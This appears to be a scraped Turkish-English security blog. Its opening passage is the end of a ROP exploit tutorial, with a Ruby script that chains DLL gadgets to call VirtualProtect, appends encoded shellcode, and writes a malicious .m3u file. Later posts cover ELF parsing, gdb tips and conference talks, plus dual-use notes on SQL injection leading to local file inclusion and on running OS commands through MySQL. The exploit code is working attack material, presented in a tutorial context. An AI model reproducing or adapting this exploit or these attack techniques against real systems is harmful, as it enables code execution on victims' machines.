# EAX'i shellcode size'a eşitliyoruz VP()'nin 3.parametresi olarak
rop << [0x77C4E0DA].pack("V*") # POP EAX + RETN > msvcrt.dll 
rop << [0xFFFFFBFF].pack("V*") # NEG(0xFFFFFBFF) = 0x00000400
rop << [0x77C1D1E3].pack("V*") # NEG EAX + POP EBP + RETN > msvcrt.dll
rop << [0x41414141].pack("V*") # trash for POP EBP

# EAX'i (0x300) ESI+20'ye taşıyoruz.. VP()'nin 3.parametresi
rop << [0x775DD86D].pack("V*") # MOV DWORD PTR DS:[ESI+20],EAX + POP ESI + POP EBX + POP EBP + RETN 4 > ole32.dll
rop << [0x41414141].pack("V*") # trash for POP ESI
rop << [0x41414141].pack("V*") # trash for POP EBX
rop << [0x41414141].pack("V*") # trash for POP EBP

# ESI tekrar kurtarıldı
rop << [0x77C34DC2].pack("V*") # MOV EAX,EDI + POP ESI + RET
rop << [0x41414141].pack("V*") # trash for RETN 4
rop << [0x14141414].pack("V*") # trash for POP ESI
rop << [0x775D131E].pack("V*") # PUSH EAX + POP ESI + RETN > ole32.dll

# EAX'i VP()'nin 4.parametresi olan 0x40'a eşitliyoruz..
rop << [0x100307A9].pack("V*") # XOR EAX, EAX + RETN > MSRMfilter03.dll
rop << [0x7C972250].pack("V*") # ADD EAX,40 + POP EBP + RETN > ntdll.dll
rop << [0x41414141].pack("V*") # trash for POP EBP

# ESI+24'e EAX(0x40)'i yazdiriyoruz..
rop << [0x77ECF538].pack("V*") # MOV DWORD PTR DS:[ESI+24],EAX + POP ESI + RETN > RPCRT4.dll
rop << [0x41414141].pack("V*") # trash for POP ESI

# Trying to point ESP to EAX (VP()!)
rop << [0x77C34DC2].pack("V*") # MOV EAX,EDI + POP ESI + RET
rop << [0x41414141].pack("V*") # trash for POP ESI
rop << [0x77C1F2CF].pack("V*") # ADD EAX,0C + RETN > msvcrt.dll
rop << [0x1001D2AC].pack("V*") # ADD EAX,4 + RETN > MSRMfilter03.dll
rop << [0x1001D2AC].pack("V*") # ADD EAX,4 + RETN > MSRMfilter03.dll
rop << [0x77C15ED5].pack("V*") # XCHG ESP,EAX + RETN > msvcrt.dll

# shellcode to execute from stack when ROP success
nops = ("\x90" * 100)
shellcode = "\xbb\xfd\x1c\xf5\x42\xd9\xc0\xd9\x74\x24\xf4\x5d\x33\xc9" +
"\xb1\x33\x31\x5d\x12\x03\x5d\x12\x83\x10\xe0\x17\xb7\x16" +
"\xf1\x51\x38\xe6\x02\x02\xb0\x03\x33\x10\xa6\x40\x66\xa4" +
"\xac\x04\x8b\x4f\xe0\xbc\x18\x3d\x2d\xb3\xa9\x88\x0b\xfa" +
"\x2a\x3d\x94\x50\xe8\x5f\x68\xaa\x3d\x80\x51\x65\x30\xc1" +
"\x96\x9b\xbb\x93\x4f\xd0\x6e\x04\xfb\xa4\xb2\x25\x2b\xa3" +
"\x8b\x5d\x4e\x73\x7f\xd4\x51\xa3\xd0\x63\x19\x5b\x5a\x2b" +
"\xba\x5a\x8f\x2f\x86\x15\xa4\x84\x7c\xa4\x6c\xd5\x7d\x97" +
"\x50\xba\x43\x18\x5d\xc2\x84\x9e\xbe\xb1\xfe\xdd\x43\xc2" +
"\xc4\x9c\x9f\x47\xd9\x06\x6b\xff\x39\xb7\xb8\x66\xc9\xbb" +
"\x75\xec\x95\xdf\x88\x21\xae\xdb\x01\xc4\x61\x6a\x51\xe3" +
"\xa5\x37\x01\x8a\xfc\x9d\xe4\xb3\x1f\x79\x58\x16\x6b\x6b" +
"\x8d\x20\x36\xe1\x50\xa0\x4c\x4c\x52\xba\x4e\xfe\x3b\x8b" +
"\xc5\x91\x3c\x14\x0c\xd6\xb3\x5e\x0d\x7e\x5c\x07\xc7\xc3" +
"\x01\xb8\x3d\x07\x3c\x3b\xb4\xf7\xbb\x23\xbd\xf2\x80\xe3" +
"\x2d\x8e\x99\x81\x51\x3d\x99\x83\x31\xa0\x09\x4f\x98\x47" +
"\xaa\xea\xe4"
junk2 = ("\xCC" * (600 - shellcode.length))
payload = "#{junk}#{eip}#{rop}#{nops}#{shellcode}#{junk2}"

puts "Payload size : #{rop.length}"

File.open("rop2.m3u", "w") { |f| 
 f.write(payload)
}

Bu makaleyi burada bitiriyorum. Biraz uzun oldu ise kusura bakmayın sanırım yazacak çok şey vardı. İyi ROP'lamalar :>

Referanslar

[1] http://msdn.microsoft.com/en-us/library/aa366898(v=vs.85).aspx
[2] http://msdn.microsoft.com/en-us/library/aa366786(v=vs.85).aspx

ELF File Format Parsing

2011-07-18T16:07:00.000+03:00

In this post i will explain how to parse 32 bit ELF File Format for finding offsets of segments. Firstly we need to lookup ELF Header (First 52 bytes) for taking offsets of Program Headers Table, EntryPoint Addr, Section Headers Tables etc..

If we take an DWORD value from 24th offset of ELF Header we can grab EntryPoint of executable file. DWORD value at 32th offset is start offset of Section Headers Table and size of this headers table is located at 46th offset as a WORD value. We also need number of section headers that located at 48th offset as a WORD value. Also Section Header String Table Index is located at 50th offset as a WORD value. So we can say ELF Header structure is like this;

Magic Number: 16 bytes
Class: 1 byte
Data: 1 byte
Version: 1 byte
OS/ABI: 1 byte
ABI Version: 1 byte
Type: 1 byte
Machine: 1 byte
Version: 1 byte
EntryPoint: DWORD
Start of Program Headers: DWORD
Start of Section Headers: DWORD
Flags: DWORD
Size of this header: WORD
Size of program headers: WORD
Number of program headers: WORD
Size of section headers: WORD
Number of section headers: WORD
Section header string table index: WORD

It's OK, we can succesfully parse ELF Header table with this structure. But we need to parse Section Headers table for accessing segments like .text, .rodata, .strtab, .symtab etc..

Structure of Section Headers Table is more complicated than ELF Header. According to output of readelf utility, executable file have 29 Section Headers and each Section Header is 40 bytes long. Section Headers Table structure is like this;

Section Name: DWORD (We will use this offset at .shstrtab for parsing names)
Section Type: DWORD
Section Flag: DWORD
Section Addr: DWORD
Section Start Offset: DWORD
Section Size: DWORD
Section ES: DWORD
Section Lk: DWORD
Section Inf: DWORD
Section Align: DWORD

OK, we successfuly parse Section Headers Table but we need to parse Section Names from .shstrtab section. Section header string table index is points .shstrtab section's index. When we grab start offset of .shstrtab (26th Section Header) we can accessing and parsing names by using Section Name Offsets.

Example shows .shstrtab section is located at offset 1068h (offset: 4200). Let's look at the hexdump of this section.

So we will try finding section name of exampel section header.

White area is an example section header for this executable. First DWORD value is Section Name offset and it's 92h (offset: 146 of .shstrtab).

0x1068 + 0x92 = 0x10FA

At offset 0x10FA we see .text string. So we can say example is section header of .text segment. Lets parse the .text segment. Address of .text segment is 0x08048310 (Did you remember the EntryPoint?) Also its start offset is 310h (offset: 784) and size is 17Ch (380 bytes).

0x310 + 0x17C = 0x48C

Now, we can say .text segment starting at offset 0x310 and ending at offset 0x48C.

It's OK we parse .text segment. You can confirm it by disassemble it by objdump or gdb. I also coded an simple ELF parser library in Ruby according this structures, it will be released soon.

Cya!

[Etkinlik] Web Tehditlerine Karsı Hazırlıklı Olun

2011-06-29T14:40:00.000+03:00

28 Haziran 2011 tarihinde HP Yazılım – İnovasyon Merkezi’nde gerçekleşmiş olan “Web Tehditlerine Karşı Hazırlıklı Olun” isimli seminere ait sunum ve fotoğraflar aşağıdadır. Katılan herkese teşekkürler umarım faydalı geçmiştir :)

Sunum Dosyası (PDF):
http://www.adeosecurity.com/sunum/HP-AppSec-Presentation.pdf

Fotoğraflar :
http://www.adeosecurity.com/sunum/hp-sunum-resimler.zip

(Yedek) Sunum Dosyası (PDF):
https://rapidshare.com/files/2951370146/HP-AppSec-Presentation.pdf

[gdb tips] printing SSE2 registers

2011-06-16T01:09:00.000+03:00

Hi!
I started [gdb tips] title for sharing useful gdb tips & tricks. First tip is printing SSE2 registers. You can use print/x for accessing SSE2 registers context.

Example;

Program received signal SIGSEGV, Segmentation fault.
=> 0x7ffff530862a: movlpd xmm2,QWORD PTR [rsi]
0x7ffff530862e: movhpd xmm1,QWORD PTR [rdi+0x8]
gdb> print/x $xmm2

$1 = {
v4_float = {0x0, 0x0, 0x0, 0x0},
v2_double = {0x8000000000000000, 0x8000000000000000},
v16_int8 = {0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0x0, 0x0, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff},
v8_int16 = {0xffff, 0xffff, 0xffff, 0xffff, 0x0, 0xffff, 0xffff, 0xffff},
v4_int32 = {0xffffffff, 0xffffffff, 0xffff0000, 0xffffffff},
v2_int64 = {0xffffffffffffffff, 0xffffffffffff0000},
uint128 = 0xffffffffffff0000ffffffffffffffff
}

If you're saying what is f*ckin' SSE2 registers?

Look here -> http://en.wikipedia.org/wiki/SSE2

Neden normal arkadaslarim yok :>

2011-06-16T00:21:00.000+03:00

Bende normal arkadaşlar istiyorum!!!1 Ali en normallerinden birisi :p

for english reader; My friend Ali's Wireless Bazooka

IstSec '11 Sunumları

2011-06-15T18:20:00.000+03:00

Selamlar,
Biraz geç oldu ama sonunda sunumları blog'a girme zahmetinde bulundum :> IstSec 11 güzel geçti (en azından bizim oturum). Son dakika değişiklikleri olmuş bizim salon değişmiş vs.. haberimiz yoktu süpriz oldu bizede :] Yasin SÜRER ile güzel bir deneyim oldu. Konumuz Yeni Nesil Zararlı Kodlardı. Java tabanlı dropper'lardan, Sosyal ağları hedef alan JavaScript worm'lerinden ve geleneksel binary tabanlı zararlı kodların analizinden bahsettik, salonun doluluk oranı tatmin etti bizi, en azından bizi mutlu eden bu tip spesifik konulara bile olan ilgiydi. Daha güzel projelerle yine sahnelerde not alabiliriz bunuda bir spoiler olarak bildireyim buradan. Beklemede kalın ;)

Canberk BOLAT ve Yasin SÜRER - New Generation Malwares & Analysis sunumunu indirmek için tıklayın.

IstSec '11

2011-05-22T23:37:00.000+03:00

Selamlar,
IstSec '11 3-4 Haziran 2011 tarihlerinde Istanbul Bilgi Universitesi Dolapdere kampüsünde olacak. Bizde çalışma arkadaşım (aynı zamanda kardeşim diyebildiğim insanlardan birisi..) Yasin ile Yeni Nesil Zararlı Kodlar ve Analizi adında bir sunum yapacağız, bittiğinde sunumun PDF versiyonunuda buradan yayınlayacağım.

Ayrıca ADEO Security Labs çatısı altında bizleri toplayan ve Türkiye'de ki tabulaşmış güvenlik anlayışının dışında çalışmalarımızı destekleyen sevgili Halil Abi'de Advanced Windows Registry Forensics adında bir sunum yapacak.

Oraya gelecek arkadaşlarla görüşmek üzere ;)

PE Browser

2011-05-12T14:29:00.000+03:00

İlgili dökümanda* bahsettiğimiz PE-Browser sadece o anlık bir çözümdü, biraz daha geliştirip konsol gibi bir çözüm düşünüyoruz, yakinda başlarım onada :>

[*] http://www.adeosecurity.com/guvenlik/dump-exe-with-c-ruby/

SQL Injection Üzerinden LFI

2011-04-20T16:27:00.000+03:00

SQL Injection üzerinden LFI bug’ları yakalamak her zaman karşılaşılabilecek bir durum olmasa bile karşılaşıldığı zaman çok kullanışlı olabilen bir zafiyet türü. Söz konusu zafiyet, uygulamanın DBMS’te yaptığı sorgu sonucunda dönen kolonlara ait verileri include, require, include_once, require_once gibi fonksiyonlara parametre olarak verdiğinde ortaya çıkmakta.Eğer şanslıysanız, aşağıdaki gibi PHP’nin vereceği hata mesajlarından böyle eğlenceli bir bug’ı yakaladığınızı tespite debilirsiniz.

Şekil 1: include_once hata mesajı

Şekil 3′teki kaynak kodda görebileceğiniz üzere $menu_id değişkeni (bizim kontrolümüzde olan değişken) sorguya dahil edilmekte. Daha sonra $cp_boxes değişkeninde saklanan MySQL Resource’e ait “dashboard_id” isimli kolon Şekil4′te göreceğiniz üzere $dashboard_id değişkenine atanmakta ve include_once fonksiyonunun parametresinde kullanılmakta.

İlgili örnekte sorgudan dönen 5.kolon include_once fonksiyonuna atanmakta. include_once fonksiyonu 5.kolon’daki müdahele ettiğimiz değeri (örneğimizde bu değer 999999), dosya sisteminde bulamadığı için hata mesajı veriyor. NULL Byte enjekte ederek yerel dosya sistemindeki dosyaları okuyabilmemiz yada log dosyalarını zehirleyerek komut çalıştırabilmemiz mümkün. [1] Şekil 2’de göreceğiniz üzere bu açıklığı kolay bir şekilde exploit edebildik.

Şekil 2: Explotiation

Şekil 3′teki kaynak kodda görebileceğiniz üzere $menu_id değişkeni (bizim kontrolümüzde olan değişken) sorguya dahil edilmekte. Daha sonra $cp_boxes değişkeninde saklanan MySQL Resource’e ait “dashboard_id” isimli kolon Şekil4′te göreceğiniz üzere $dashboard_id değişkenine atanmakta ve include_once fonksiyonunun parametresinde kullanılmakta.

Şekil 3: SQL Injection içeren kod bölümü

Şekil 4: SQL Injection üzerinden LFI gerçekleşen kod bölümü

[1] - http://www.adeosecurity.com/guvenlik/gelismis-file-inclusion-saldirilari/

time is now

2011-04-12T21:45:00.000+03:00

Her seferinde tam vakti deyip erteleyenler için ideal.

is_lower() and is_upper()

2011-02-24T00:29:00.000+02:00

In this post i will share my functions is_lower and is_upper. I coded them for determinening is string lower case or upper case. Idea is simple. Get each char with substring, after that convert it to ascii (with ord function) and in condition clause look for its range (97-122 lower case chars and 65-90 upper case chars). Here is functions..

is_lower:

function is_lower($string) {
for ($i = 0; $i < strlen($string); $i++) {
$ch = ord(substr($string, $i, 1));
if (!(($ch > 96) && ($ch < 123))) {
return false;
}
}

return true;
}

is_upper:

function is_upper($string) {
for ($i = 0; $i < strlen($string); $i++) {
$ch = ord(substr($string, $i, 1));
if (!(($ch > 64) && $ch < 91)) {
return false;
}
}

return true;
}

do you think are you secure?

2011-02-17T00:06:00.000+02:00

Cok komik bir resim, internette daha önceden de dolaşıyordu bugun tekrar rastladım paylasayim dedim. Gercekten kilidin orada olmasi guvende hissi veriyor mu insana? zayif halkalarin plastik seritle tutturulmasina ragmen :>

- do you think are you secure?
- yeah i have a lock, i am secure
- think again

MySQL Code Execution

2011-02-16T14:24:00.000+02:00

I really embarrassed when i see SYSTEM keyword on MySQL allows execute OS Commands on current system(where mysql daemon runs). Yeah i embarrassed because i don't know it and have no idea about it (Yes i was know code execution with User Defined Functions). It's really simple.

Is it really cool ha?